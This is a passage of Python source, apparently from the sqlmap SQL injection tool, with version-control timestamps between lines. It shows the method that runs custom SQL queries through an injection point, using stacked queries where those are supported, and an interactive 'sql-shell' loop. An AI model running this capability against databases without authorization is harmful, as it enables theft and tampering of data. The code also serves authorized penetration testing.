if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
message = "do you want to retrieve the SQL statement output? "
message += "[Y/n] "
getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"):
2010-03-31 17:52:51 +04:00
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
2010-12-18 18:57:47 +03:00
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
2010-10-15 19:37:15 +04:00
warnMsg = "execution of custom SQL queries is only "
warnMsg += "available when stacked queries are supported"
2010-09-25 02:09:33 +04:00
logger.warn(warnMsg)
return None
else:
if sqlType:
2010-03-31 17:52:51 +04:00
infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
2008-10-15 19:38:22 +04:00
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql-shell> ")
query = utf8decode(query)
2008-10-15 19:38:22 +04:00
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
if query.lower() in ( "x", "q", "exit", "quit" ):
break
output = self.sqlQuery(query)
if output and output != "Quit":
conf.dumper.query(query, output)
elif not output:
pass
2008-10-15 19:38:22 +04:00
elif output != "Quit":
2010-10-21 02:09:03 +04:00
dataToStdout("No output\n")